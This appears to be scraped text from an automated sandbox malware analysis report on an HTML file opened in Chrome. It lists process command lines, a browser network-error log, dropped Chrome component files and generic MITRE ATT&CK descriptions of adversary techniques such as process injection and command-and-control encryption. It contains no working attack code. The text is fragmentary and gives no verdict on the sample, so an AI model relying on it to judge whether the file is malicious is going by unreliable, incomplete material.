2025-03-12 13:08:56 UTC	1174	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 30 37 30 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 36 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 31 35 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 69 63 6b 65 64 2e 62 69 67 70 6f 6c 69 63 65 6d Data Ascii: [{"age":20703,"body":{"elapsed_time":569,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.143.150","status_code":405,"type":"http.error"},"type":"network-error","url":"https://wicked.bigpolicem
2025-03-12 13:08:57 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 12 Mar 2025 13:08:57 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	2
Start time:	09:07:08
Start date:	12/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:07:14
Start date:	12/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,14865447731612743926,3150077887963785523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:3
Imagebase:	0x7ff68dae0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:07:20
Start date:	12/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\.html"
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report .html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\history_search_strings_farmhashed.binarypb

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\manifest.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\manifest.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\cr_en-us_500000_index.bin

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\manifest.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\Filtering Rules

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\LICENSE.txt

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\manifest.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\LICENSE

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\keys.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\manifest.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\manifest.json

Windows Analysis Report
.html